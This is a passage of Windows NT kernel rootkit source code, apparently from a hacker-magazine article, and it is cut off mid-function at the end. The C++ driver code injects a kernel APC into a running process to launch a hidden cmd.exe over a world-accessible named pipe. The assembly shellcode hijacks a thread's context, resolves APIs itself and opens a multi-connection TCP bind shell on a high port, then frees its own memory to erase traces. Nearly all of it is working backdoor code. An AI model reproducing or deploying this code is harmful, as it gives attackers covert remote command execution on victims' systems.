//Debug macro
#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif

//Flag guarantees that thread certainly will execute APC regardless of
//it's state
#define SPECIAL_KERNEL_MODE_APC 2

namespace NT
{
        extern "C"
        {
// Definitions for Windows NT-supplied APC routines.
// These are exported in the import libraries,
// but are not in NTDDK.H
                void KeInitializeApc(PKAPC Apc,
                        PKTHREAD Thread,
                        CCHAR ApcStateIndex,
                        PKKERNEL_ROUTINE KernelRoutine,
                        PKRUNDOWN_ROUTINE RundownRoutine,
                        PKNORMAL_ROUTINE NormalRoutine,
                        KPROCESSOR_MODE ApcMode,
                        PVOID NormalContext);
                
                void KeInsertQueueApc(PKAPC Apc,
                        PVOID SystemArgument1,
                        PVOID SystemArgument2,
                        UCHAR unknown);
        }
}

//Variant of structure SYSTEM_PROCESSES for NT4
namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriority;
    ULONG ProcessId;
    ULONG InheritedFromProcessId;
    ULONG HandleCount;
    ULONG Reserved2[2];
    VM_COUNTERS VmCounters;
    SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}

//Function searches process with given name.
//Writes PID and TID of first thread to ClientId
BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
{
        NT::UNICODE_STRING ProcessName;
        NT::RtlInitUnicodeString(&ProcessName,process);
        ULONG n=0xFFFF;
        //Allocate some memory
        PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
        //Request information about processes and threads
        //until it will fit in allocated memory.
    while (NT::ZwQuerySystemInformation(NT::SystemProcessesAndThreadsInformation,
           q, n * sizeof *q, 0))
        {
                //If it didn't fit - free allocated memory...
                NT::ExFreePool(q);
                n*=2;
                //... and allocate twice bigger
                q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
        }

        ULONG MajorVersion;
        //Request OS version
        NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);

        //Copy pointer to SYSTEM_PROCESSES.
        //copy will be modified indirectly
    NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q);
        //"process NOT found" - yet
    BOOL found=0;        
        //Pointer to p will be used to indirect modify p.
        //This trick is needed to force compiler to perform arithmetic operations with p
        //in bytes, not in sizeof SYSTEM_PROCESSES units
        char** pp=(char**)&p;
        //Process search cycle
    do
        {
                //If process have nonzero number of threads (0 threads is abnormal, but possible),
                //has name, that matches looked for...
                if ((p->ThreadCount)&&(p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString(&p->ProcessName,&ProcessName,TRUE)))
                {
                        //... then copy data about it to variable pointed by ClientId.
                        //Accounted for different sizeof SYSTEM_PROCESSES in different versions of NT
                        if (MajorVersion<=4)
                                *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId;
                                else *ClientId = p->Threads[0].ClientId;
                        //Set flag "process found"
                        found=1;
                        //Stop search
                        break;
                }
                //No more processes - stop
                if (!(p->NextEntryDelta)) break;
                //Move to next process
                *pp+=p->NextEntryDelta;
        } while(1);
        //Free memory
        NT::ExFreePool(q);
        //Return "is the process found" flag
    return found;
}

//Generates named pipe name similar to used by API-function CreatePipe
void MakePipeName(NT::PUNICODE_STRING KernelPipeName)
{
        //For generation of unrepeating numbers
        static unsigned long        PipeIdx;
        //pseudorandom number
        ULONG                                        rnd;                
        //name template
        wchar_t                                        *KPNS = L"\\Device\\NamedPipe\\Win32Pipes.%08x.%08x";
        //...and it's length in bytes
        ULONG                                        KPNL = wcslen(KPNS)+(8-4)*2+1;
        //String buffer: allocated here, freed by caller
        wchar_t                                        *buf;
        
        //Request system timer: KeQueryInterruptTime is here not for exact
        //counting out time, but for generation of pseudorandom numbers
        rnd = (ULONG)NT::KeQueryInterruptTime();
        //Allocate memory for string
        buf = (wchar_t *)NT::ExAllocatePool(NT::NonPagedPool,(KPNL)*2);
        //Generate name: substitute numbers o template
        _snwprintf(buf, KPNL, KPNS, PipeIdx++, rnd);
        //Write buffer address and string length to KernelPipeName (initialisation)
        NT::RtlInitUnicodeString(KernelPipeName, buf);
}

extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess);
extern NTSTATUS BuildAlowingSD(PVOID *sd);

struct APC_PARAMETERS {
        NT::UNICODE_STRING        KernelPipeName;
        ULONG ChildPID;
        };

//APC handler, runs in context of given thread
void KMApcCallback1(NT::PKAPC Apc, NT::PKNORMAL_ROUTINE NormalRoutine,
                    PVOID NormalContext, PVOID SystemArgument1,
                    PVOID SystemArgument2)
 {
        UNREFERENCED_PARAMETER(NormalRoutine);
        UNREFERENCED_PARAMETER(NormalContext);
        
        dbgbkpt;
        //Start process with redirected I/O, SystemArgument1 is named pipe name
        (*(APC_PARAMETERS**)SystemArgument1)->ChildPID=execute_piped(L"\\SystemRoot\\System32\\cmd.exe", &((*(APC_PARAMETERS**)SystemArgument1)->KernelPipeName));
        //Free memory occupied by APC
        NT::ExFreePool(Apc);
        
        //Signal about APC processing completion
        NT::KeSetEvent(*(NT::KEVENT**)SystemArgument2, 0, TRUE);
        return;
 }

//Function starts shell process (cmd.exe) with redirected I/O.
//Returns bidirectional named pipe handle in phPipe
extern "C" ULONG StartShell(PHANDLE phPipe)
{
        //_asm int 3;
        HANDLE  hProcess=0, hThread;
        APC_PARAMETERS ApcParameters;
        //Event of APC processing completion
        NT::KEVENT ApcCompletionEvent;
        
        //dbgbkpt;
        NT::CLIENT_ID clid;
        //Look for process to launch shell from it's context.
        //That process must be always present in system
        if(!FindProcess(/*L"services.exe"*/L"calc.exe",&clid)) {dbgbkpt;
                return FALSE;};
        NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
        //Get process handle from it's PID
        NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
        if (!hProcess) {dbgbkpt;
                return FALSE;};
        //Get thread handle from it's TID
        NT::ZwOpenThread(&hThread, THREAD_ALL_ACCESS, &attr, &clid);
        NT::PKTHREAD ThreadObj;
        //Get pointer to thread object from it's handle
        NT::ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, (PVOID*)&ThreadObj, NULL);
        
        NT::PKAPC Apc;
        ApcParameters.ChildPID=0;

        //Allocate memory for APC
        Apc = (NT::KAPC*)NT::ExAllocatePool(NT::NonPagedPool, sizeof(NT::KAPC));
        //Initialize APC
        dbgbkpt;
        NT::KeInitializeApc(Apc,
     ThreadObj,
     SPECIAL_KERNEL_MODE_APC,
     (NT::PKKERNEL_ROUTINE)&KMApcCallback1,     // kernel mode routine
     0, // rundown routine
     0,     // user-mode routine
     NT::KernelMode,
         0 //context
         );
        //Initialize APC processing completion event
        NT::KeInitializeEvent(&ApcCompletionEvent,NT::SynchronizationEvent,FALSE);
        
        //Generate random unique named pipe name
        MakePipeName(&ApcParameters.KernelPipeName/*, &UserPipeName*/);
        PVOID sd;
        //Access will be read-only without it.
        //There's a weak place in the view of security.
        if (BuildAlowingSD(&sd)) return FALSE;
        if (myCreatePipe1(phPipe, &ApcParameters.KernelPipeName, GENERIC_READ | GENERIC_WRITE, sd, FILE_SHARE_READ | FILE_SHARE_WRITE)) return FALSE;
        NT::KeInsertQueueApc(Apc, &ApcParameters, &ApcCompletionEvent, 0);
        NT::KeWaitForSingleObject(&ApcCompletionEvent,NT::Executive,NT::KernelMode,FALSE,NULL);
        NT::RtlFreeUnicodeString(&ApcParameters.KernelPipeName);
        NT::ZwClose(hProcess);
        NT::ZwClose(hThread);
        return ApcParameters.ChildPID;
}

----[ 8.3 - dummy4.asm

;Exported symbols - reference points for automated tool
;which generates C code of hex-encoded string
PUBLIC                Start
PUBLIC                EndFile
PUBLIC                CLID_here
;Debug flag - int 3 in the code
DEBUG                EQU        1
;Falg "accept more then 1 connection"
MULTIPLE_CONNECT        EQU        1
;Falg "bind to next port, if current port busy"
RETRY_BIND        EQU        1

.486                  ; processor type
.model flat, stdcall  ; model of memory
option casemap: none  ; disable case sensivity

; includes for file
include Imghdr.inc
include w32.inc
include WSOCK2.INC

; structure initializing
;-------------------------
sSEH STRUCT
 OrgEsp            dd ?
 SaveEip           dd ?
sSEH ENDS

CLIENT_ID STRUCT
 UniqueProcess                dd ?
 UniqueThread                dd ?
CLIENT_ID ENDS

OBJECT_ATTRIBUTES STRUCT
 Length                dd ?
 RootDirectory        dd ?
 ObjectName        dd ?
 Attributes        dd ?
 SecurityDescriptor        dd ?
 SecurityQualityOfService        dd ?
OBJECT_ATTRIBUTES ENDS

;-------------------------
.code
;----------------------------------------------
MAX_API_STRING_LENGTH     equ 150
ALLOCATION_GRANULARITY          EQU 10000H
;----------------------------------------------
new_section:
;Macro replaces lea, correcting address for position independency
laa        MACRO        reg, operand
lea        reg, operand
add        reg, FixupDelta
ENDM

;The same, but not uses FixupDelta (autonomous)
laaa        MACRO        reg, operand
local        @@delta
call         $+5
@@delta:
sub          DWORD PTR [esp], OFFSET @@delta
lea        reg, operand
add        reg, DWORD PTR [esp]
add        esp,4
ENDM

main proc
Start:
IFDEF DEBUG
int        3
ENDIF

;Code for evaluating self address
delta:
pop          ebx
sub        ebx,OFFSET delta
;Allocate place for variables in stack
enter        SizeOfLocals,0
;Save difference between load address and ImageBase
mov        FixupDelta,ebx

;Tables, where to write addresses of exported functions
KERNEL32FunctionsTable                EQU        _CreateThread
NTDLLFunctionsTable                EQU        _ZwOpenThread
WS2_32FunctionsTable                EQU        _WSASocket

;Local variables
local flag:DWORD,save_eip:DWORD,_CreateThread:DWORD,_GetThreadContext:DWORD,_SetThreadContext:DWORD,_ExitThread:DWORD,_LoadLibrary:DWORD,_CreateProcessA:DWORD,_Sleep:DWORD,_VirtualFree:DWORD,_ZwOpenThread:DWORD,_ZwAlertThread:DWORD,cxt:CONTEXT,clid:CLIENT_ID,hThread:DWORD,attr:OBJECT_ATTRIBUTES,addr:sockaddr_in,sizeofaddr:DWORD,sock:DWORD,sock2:DWORD,StartInf:STARTUPINFO,ProcInf:PROCESS_INFORMATION,_WSASocket:DWORD,_bind:DWORD,_listen:DWORD,_accept:DWORD,_WSAStartup:DWORD,_closesocket:DWORD,_WSACleanup:DWORD,wsadat:WSAdata,FixupDelta:DWORD =SizeOfLocals
 assume fs : nothing
 ;---- get ImageBase of kernel32.dll ----
lea        ebx,KERNEL32FunctionsTable
push        ebx
laa        ebx,KERNEL32StringTable
push        ebx
 push        0FFFF0000h
 call GetDllBaseAndLoadFunctions

lea        ebx,NTDLLFunctionsTable
push        ebx
laa        ebx,NTDLLStringTable
push        ebx
 push        0FFFF0000h
 call GetDllBaseAndLoadFunctions

laa edi, CLID_here
push edi
assume edi:ptr OBJECT_ATTRIBUTES
lea edi,attr
cld
mov        ecx,SIZE OBJECT_ATTRIBUTES
xor        eax,eax
rep stosb
lea edi,attr
mov[edi].Length,SIZE OBJECT_ATTRIBUTES
push edi
push  THREAD_ALL_ACCESS
lea edi,hThread
push        edi
IFDEF DEBUG
int        3
ENDIF
call _ZwOpenThread

lea edi, cxt
assume edi:ptr CONTEXT
mov [edi].cx_ContextFlags,CONTEXT_FULL

xor        ebx,ebx
mov eax,hThread
;there is a thread handle in EAX
;push at once for call many following functions
push edi        ; _SetThreadContext
push eax
;-)
push eax        ; _ZwAlertThread
;-)
push edi        ; _SetThreadContext
push eax
;-)
push edi        ; _GetThreadContext
push eax
call _GetThreadContext

mov        eax,[edi].cx_Eip
mov        save_eip,eax        
laa         eax, new_thread
mov         [edi].cx_Eip, eax

;Self-modify code
;Save EBP to copy current stack in each new thread
laa         eax, ebp_value_here
mov         [eax],ebp
laa         eax, ebp1_value_here
mov         [eax],ebp
;Write addres of flag, that informs of "create main thread" completion
laa         eax, flag_addr_here
lea        ebx,flag
mov        [eax],ebx
mov        flag,0

call _SetThreadContext
;If thread in wait state, it will not run until it (wait) ends or alerted
call _ZwAlertThread        
;not works if wait is nonalertable

;Wait for main thread creation
check_flag:
call        _Sleep,10
cmp        flag,1
jnz        check_flag

;Restore EIP of interupted thread
mov         eax, save_eip
mov         [edi].cx_Eip, eax
call _SetThreadContext

push        0
call _ExitThread

; --- This code executes in interrupted thread and creates main thread ---
new_thread:
IFDEF DEBUG
int 3
ENDIF
ebp1_value_here_2:
mov        ebp,0
lab_posle_ebp1_value:
ORG ebp1_value_here_2+1
ebp1_value_here:
ORG lab_posle_ebp1_value-main
xor           eax,eax
push          eax
push          eax
push          eax
laa          ebx, remote_shell
push          ebx
push          eax
push          eax
call _CreateThread
;call        _Sleep,INFINITE
jmp        $

remote_shell:
IFDEF DEBUG
int 3
ENDIF
ebp_value_here_2:
mov        esi,0
lab_posle_ebp_value:
ORG ebp_value_here_2+1
ebp_value_here:
ORG lab_posle_ebp_value-main
mov         ecx,SizeOfLocals
sub        esi,ecx
mov        edi,esp
sub        edi,ecx
cld
rep movsb
mov        ebp,esp
sub        esp,SizeOfLocals

flag_addr_here_2:
mov        eax,0
lab_posle_flag_addr:
ORG flag_addr_here_2+1
flag_addr_here:
ORG lab_posle_flag_addr-main
mov        DWORD PTR [eax],1

;Load WinSock
laa        eax,szWSOCK32
call _LoadLibrary,eax
or   eax, eax
jz   quit
     
 ;---- get ImageBase of ws2_32.dll ----
;I'm deviator: load at first, then as if seek :)
lea        ebx,WS2_32FunctionsTable
push        ebx
laa        ebx,WS2_32StringTable
push        ebx
push        eax
call GetDllBaseAndLoadFunctions


;--- telnet server
lea        eax,wsadat
push        eax
push        0101h
call        _WSAStartup

xor        ebx,ebx
;socket does not suit here!
call        _WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,ebx,ebx,ebx
mov        sock,eax

mov        addr.sin_family,AF_INET
mov        addr.sin_port,0088h
mov        addr.sin_addr,INADDR_ANY

;Look for unused port from 34816 and bind to it
retry_bind:
lea        ebx,addr
call        _bind,sock,ebx,SIZE sockaddr_in
IFDEF RETRY_BIND
or           eax, eax
jz           l_listen
lea        edx,addr.sin_port+1
inc        byte ptr[edx]
cmp        byte ptr[edx],0
;All ports busy...
jz        quit        
jmp        retry_bind
ENDIF

l_listen:
call        _listen,sock,1
or           eax, eax
jnz           quit

ShellCycle:

mov        sizeofaddr,SIZE sockaddr_in
lea        eax,sizeofaddr
push        eax
lea        eax, addr
push        eax
push        sock
call        _accept
mov         sock2, eax

RunCmd:

;int        3

;Zero StartInf
cld
lea        edi,StartInf
xor        eax,eax
mov        ecx,SIZE STARTUPINFO
rep        stosb
;Fill StartInf. Shell will be bound to socket
mov        StartInf.dwFlags,STARTF_USESTDHANDLES; OR STARTF_USESHOWWINDOW
mov        eax, sock2
mov        StartInf.hStdOutput,eax
mov        StartInf.hStdError,eax
mov        StartInf.hStdInput,eax
mov        StartInf.cb,SIZE STARTUPINFO

;Start shell
xor        ebx,ebx
lea        eax,ProcInf
push        eax
lea        eax,StartInf
push        eax
push        ebx
push        ebx
push        CREATE_NO_WINDOW
push        1
push        ebx
push        ebx
laa        eax,CmdLine
push        eax
push        ebx
call        _CreateProcessA

;To avoid hanging sessions
call         _closesocket,sock2

IFDEF MULTIPLE_CONNECT
jmp        ShellCycle
ENDIF

quit:
call        _closesocket,sock
call        _WSACleanup
;Sweep traces: free memory with that code and terminate thread
;Code must not free stack because ExitThread address is there
;It may wipe (zero out) stack in future versions
push        MEM_RELEASE
xor        ebx,ebx
push        ebx
push        OFFSET Start
push        ebx
push        _ExitThread
jmp        _VirtualFree
main endp

; ------ ROUTINES ------

; returns NULL in the case of an error
GetDllBaseAndLoadFunctions proc uses edi esi, dwSearchStartAddr:DWORD, FuncNamesTable:DWORD, FuncPtrsTable:DWORD
;----------------------------------------------
local SEH:sSEH, FuncNameEnd:DWORD,dwDllBase:DWORD,PEHeader:DWORD
 ; install SEH frame
 laaa        eax, KernelSearchSehHandler
 push        eax
 push fs:dword ptr[0]
 mov  SEH.OrgEsp, esp
 laaa        eax, ExceptCont
 mov  SEH.SaveEip, eax
 mov  fs:dword ptr[0], esp

 ; start the search
 mov  edi, dwSearchStartAddr
 .while TRUE
    .if word ptr [edi] == IMAGE_DOS_SIGNATURE
       mov  esi, edi
       add  esi, [esi+03Ch]
       .if  dword ptr [esi] == IMAGE_NT_SIGNATURE
          .break
       .endif
    .endif
           ExceptCont:
    sub  edi, 010000h
 .endw
 mov        dwDllBase,edi
 mov        PEHeader,esi

LoadFunctions:
 ; get the string length of the target Api
 mov  edi, FuncNamesTable
 mov  ecx, MAX_API_STRING_LENGTH
 xor  al, al
 repnz  scasb
 mov        FuncNameEnd,edi
 mov  ecx, edi
 sub  ecx, FuncNamesTable       ; ECX -> Api string length

 ; trace the export table
 mov  edx, [esi+078h]      ; EDX -> Export table
 add  edx, dwDllBase
 assume edx:ptr IMAGE_EXPORT_DIRECTORY
 mov  ebx, [edx].AddressOfNames     ; EBX -> AddressOfNames array pointer
 add  ebx, dwDllBase
 xor  eax, eax       ; eax AddressOfNames Index
 .repeat
    mov  edi, [ebx]
    add  edi, dwDllBase
    mov  esi, FuncNamesTable
    push ecx    ; save the api string length
    repz cmpsb
    .if zero?
       add  esp, 4
       .break
    .endif
    pop  ecx
    add  ebx, 4
    inc  eax
 .until eax == [edx].NumberOfNames

 ; did we found sth ?
 .if eax == [edx].NumberOfNames
    jmp ExceptContinue
 .endif

 ; find the corresponding Ordinal
 mov  esi, [edx].AddressOfNameOrdinals
 add  esi, dwDllBase
 shl  eax, 1
 add  eax, esi
 movzx        eax,word ptr [eax]

 ; get the address of the api
 mov  edi, [edx].AddressOfFunctions
 shl  eax, 2
 add  eax, dwDllBase
 add  eax, edi
 mov  eax, [eax]
 add  eax, dwDllBase
 
 mov        ecx,FuncNameEnd
 mov        FuncNamesTable,ecx
 mov        ebx,FuncPtrsTable
 mov        DWORD PTR [ebx],eax
 mov        esi,PEHeader
 cmp        BYTE PTR [ecx],0
 jnz          LoadFunctions

Quit:
 ; shutdown seh frame
 pop  fs:dword ptr[0]
 add  esp, 4
 ret
 ExceptContinue:
 mov         edi, dwDllBase
 jmp ExceptCont
GetDllBaseAndLoadFunctions endp

KernelSearchSehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
 mov  eax, pContext
 assume eax:ptr CONTEXT
 sub  dword ptr [eax].cx_Edi,010000h
 mov  eax, 0        ;ExceptionContinueExecution
 ret
KernelSearchSehHandler ENDP

KERNEL32StringTable:
szCreateThread          db "CreateThread",0
szGetThreadContext        db "GetThreadContext",0
szSetThreadContext         db "SetThreadContext",0
szExitThread                db "ExitThread",0
szLoadLibrary           db "LoadLibraryA",0
szCreateProcessA        db "CreateProcessA",0
szSleep                        db "Sleep",0
szVirtualFree                db "VirtualFree",0
db                        0

szWSOCK32                db "WS2_32.DLL",0
WS2_32StringTable:
szsocket                db "WSASocketA",0
szbind                        db "bind",0
szlisten                db "listen",0
szaccept                db "accept",0
szWSAStartup                db "WSAStartup",0
szclosesocket                db "closesocket",0
szWSACleanup                db "WSACleanup",0
db                        0

NTDLLStringTable:
szZwOpenThread                db "ZwOpenThread",0
szZwAlertThread                db "ZwAlertThread",0
db                        0

CmdLine                        db        "cmd.exe",0

ALIGN        4
CLID_here                CLIENT_ID <0>

;----------------------------------------------

EndFile:

end Start


----[ 8.4 - NebbetCreateProcess.cpp

#include <ntdll.h>
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
extern "C" {
#include "SECSYS.H"
}

namespace NT {

typedef struct _CSRSS_MESSAGE{
        ULONG        Unknwon1;
        ULONG        Opcode;
        ULONG        Status;
        ULONG        Unknwon2;
}CSRSS_MESSAGE,*PCSRSS_MESSAGE;

}

DYNAMIC_LOAD1(CsrClientCallServer)
DYNAMIC_LOAD1(RtlDestroyProcessParameters)
DYNAMIC_LOAD1(ZwWriteVirtualMemory)
DYNAMIC_LOAD1(ZwResumeThread)
DYNAMIC_LOAD1(ZwCreateThread)
DYNAMIC_LOAD1(ZwProtectVirtualMemory)
DYNAMIC_LOAD1(ZwCreateProcess)
DYNAMIC_LOAD1(ZwRequestWaitReplyPort)
DYNAMIC_LOAD1(ZwReadVirtualMemory)
DYNAMIC_LOAD1(ZwCreateNamedPipeFile)
DYNAMIC_LOAD1(LdrGetDllHandle)

//Dynamic import of functions exported from ntdll.dll
extern "C" void LoadFuncs()
{
        static PVOID pNTDLL;
        if (!pNTDLL)
        {
                pNTDLL=FindNT();        
                DYNAMIC_LOAD2(CsrClientCallServer)
                DYNAMIC_LOAD2(RtlDestroyProcessParameters)
                DYNAMIC_LOAD2(ZwWriteVirtualMemory)
                DYNAMIC_LOAD2(ZwResumeThread)
                DYNAMIC_LOAD2(ZwCreateThread)
                DYNAMIC_LOAD2(ZwProtectVirtualMemory)
                DYNAMIC_LOAD2(ZwCreateProcess)
                DYNAMIC_LOAD2(ZwRequestWaitReplyPort)
                DYNAMIC_LOAD2(ZwReadVirtualMemory)
                DYNAMIC_LOAD2(ZwCreateNamedPipeFile)
                DYNAMIC_LOAD2(LdrGetDllHandle)
        }
}

//Informs CSRSS about new win32-process
VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid)
{
//        _asm int 3;
    struct CSRSS_MESSAGE {
        ULONG Unknown1;
        ULONG Opcode;
        ULONG Status;
        ULONG Unknown2;
    };

    struct {
                NT::PORT_MESSAGE PortMessage;
        CSRSS_MESSAGE CsrssMessage;
        PROCESS_INFORMATION ProcessInformation;
        NT::CLIENT_ID Debugger;
        ULONG CreationFlags;
        ULONG VdmInfo[2];
    } csrmsg = {{0}, {0}, {hProcess, hThread, pid, tid}, {0}, 0/*STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW*/, {0}};

    CsrClientCallServer(&csrmsg, 0, 0x10000, 0x24);
}

//Initialse empty environment
PWSTR InitEnvironment(HANDLE hProcess)
{
    PVOID p=0;
    DWORD dummy=0;
        DWORD n=sizeof(dummy);
        DWORD m;
        m=n;
        NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &m,
                                MEM_COMMIT, PAGE_READWRITE);
    ZwWriteVirtualMemory(hProcess, p, &dummy, n, 0);
    return PWSTR(p);
}

// Clone of Ntdll::RtlCreateProcessParameters...
VOID RtlCreateProcessParameters(NT::PPROCESS_PARAMETERS* pp,
                                                                NT::PUNICODE_STRING        ImageFile,
                                                                NT::PUNICODE_STRING        DllPath,
                                                                NT::PUNICODE_STRING        CurrentDirectory,
                                                                NT::PUNICODE_STRING        CommandLine,
                                                                ULONG        CreationFlag,
                                                                NT::PUNICODE_STRING        WindowTitle,
                                                                NT::PUNICODE_STRING        Desktop,
                                                                NT::PUNICODE_STRING        Reserved,
                                                                NT::PUNICODE_STRING        Reserved2){

        NT::PROCESS_PARAMETERS*        lpp;

        ULONG        Size=sizeof(NT::PROCESS_PARAMETERS);
        if(ImageFile) Size+=ImageFile->MaximumLength;
        if(DllPath) Size+=DllPath->MaximumLength;
        if(CurrentDirectory) Size+=CurrentDirectory->MaximumLength;
        if(CommandLine) Size+=CommandLine->MaximumLength;
        if(WindowTitle) Size+=WindowTitle->MaximumLength;
        if(Desktop) Size+=Desktop->MaximumLength;
        if(Reserved) Size+=Reserved->MaximumLength;
        if(Reserved2) Size+=Reserved2->MaximumLength;

        //Allocate the buffer..
        *pp=(NT::PPROCESS_PARAMETERS)NT::ExAllocatePool(NT::NonPagedPool,Size);
        lpp=*pp;
        RtlZeroMemory(lpp,Size);

        lpp->AllocationSize=PAGE_SIZE;
        lpp->Size=sizeof(NT::PROCESS_PARAMETERS); // Unicode size will be added (if any)
        lpp->hStdInput=0;
        lpp->hStdOutput=0;
        lpp->hStdError=0;
        if(CurrentDirectory){
                lpp->CurrentDirectoryName.Length=CurrentDirectory->Length;
                lpp->CurrentDirectoryName.MaximumLength=CurrentDirectory->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CurrentDirectory->Buffer,CurrentDirectory->Length);
                lpp->CurrentDirectoryName.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=CurrentDirectory->MaximumLength;
        }
        if(DllPath){
                lpp->DllPath.Length=DllPath->Length;
                lpp->DllPath.MaximumLength=DllPath->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,DllPath->Buffer,DllPath->Length);
                lpp->DllPath.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=DllPath->MaximumLength;
        }
        if(ImageFile){
                lpp->ImageFile.Length=ImageFile->Length;
                lpp->ImageFile.MaximumLength=ImageFile->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,ImageFile->Buffer,ImageFile->Length);
                lpp->ImageFile.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=ImageFile->MaximumLength;
        }
        if(CommandLine){
                lpp->CommandLine.Length=CommandLine->Length;
                lpp->CommandLine.MaximumLength=CommandLine->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CommandLine->Buffer,CommandLine->Length);
                lpp->CommandLine.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=CommandLine->MaximumLength;
        }
        if(WindowTitle){
                lpp->WindowTitle.Length=WindowTitle->Length;
                lpp->WindowTitle.MaximumLength=WindowTitle->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,WindowTitle->Buffer,WindowTitle->Length);
                lpp->WindowTitle.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=WindowTitle->MaximumLength;
        }
        if(Desktop){
                lpp->Desktop.Length=Desktop->Length;
                lpp->Desktop.MaximumLength=Desktop->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Desktop->Buffer,Desktop->Length);
                lpp->Desktop.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=Desktop->MaximumLength;
        }
        if(Reserved){
                lpp->Reserved2.Length=Reserved->Length;
                lpp->Reserved2.MaximumLength=Reserved->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved->Buffer,Reserved->Length);
                lpp->Reserved2.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=Reserved->MaximumLength;
        }
/*        if(Reserved2){
                lpp->Reserved3.Length=Reserved2->Length;
                lpp->Reserved3.MaximumLength=Reserved2->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved2->Buffer,Reserved2->Length);
                lpp->Reserved3.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=Reserved2->MaximumLength;
        }*/
}

VOID CreateProcessParameters(HANDLE hProcess, NT::PPEB Peb,
                             NT::PUNICODE_STRING ImageFile, HANDLE hPipe)
{
    NT::PPROCESS_PARAMETERS pp;
        NT::UNICODE_STRING                CurrentDirectory;                                
        NT::UNICODE_STRING                DllPath;                                

        NT::RtlInitUnicodeString(&CurrentDirectory,L"C:\\WINNT\\SYSTEM32\\");
        NT::RtlInitUnicodeString(&DllPath,L"C:\\;C:\\WINNT\\;C:\\WINNT\\SYSTEM32\\");
        


    RtlCreateProcessParameters(&pp, ImageFile, &DllPath,&CurrentDirectory, ImageFile, 0, 0, 0, 0, 0);
        
        pp->hStdInput=hPipe;
    pp->hStdOutput=hPipe;//hStdOutPipe;
    pp->hStdError=hPipe;//hStdOutPipe;
        pp->dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
        pp->wShowWindow=SW_HIDE;//CREATE_NO_WINDOW;

    pp->Environment = InitEnvironment(hProcess);
        
    ULONG n = pp->Size;
    PVOID p = 0;
    NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_READWRITE);

    ZwWriteVirtualMemory(hProcess, p, pp, pp->Size, 0);

    ZwWriteVirtualMemory(hProcess, PCHAR(Peb) + 0x10, &p, sizeof p, 0);

    RtlDestroyProcessParameters(pp);
}

namespace NT {
extern "C" {
DWORD WINAPI RtlCreateAcl(PACL acl,DWORD size,DWORD rev);
BOOL      WINAPI RtlAddAccessAllowedAce(PACL,DWORD,DWORD,PSID);
}}

NTSTATUS BuildAlowingSD(PSECURITY_DESCRIPTOR *pSecurityDescriptor)
{
        //_asm int 3;
        SID SeWorldSid={SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY, SECURITY_WORLD_RID};
        SID localSid={SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID};
        char daclbuf[PAGE_SIZE];
        NT::PACL dacl = (NT::PACL)&daclbuf;
        char sdbuf[PAGE_SIZE];
        NT::PSECURITY_DESCRIPTOR sd = &sdbuf;
        
        NTSTATUS status = NT::RtlCreateAcl(dacl, PAGE_SIZE, ACL_REVISION);
    if (!NT_SUCCESS(status)) return status;
    status = NT::RtlAddAccessAllowedAce(dacl, ACL_REVISION, FILE_ALL_ACCESS, &SeWorldSid);
    if (!NT_SUCCESS(status)) return status;
    RtlZeroMemory(sd, PAGE_SIZE);
    status = NT::RtlCreateSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION);
    if (!NT_SUCCESS(status)) return status;
    status = RtlSetOwnerSecurityDescriptor(sd, &localSid, FALSE);
    if (!NT_SUCCESS(status)) return status;
    status = NT::RtlSetDaclSecurityDescriptor(sd, TRUE, dacl, FALSE);
    if (!NT_SUCCESS(status)) return status;
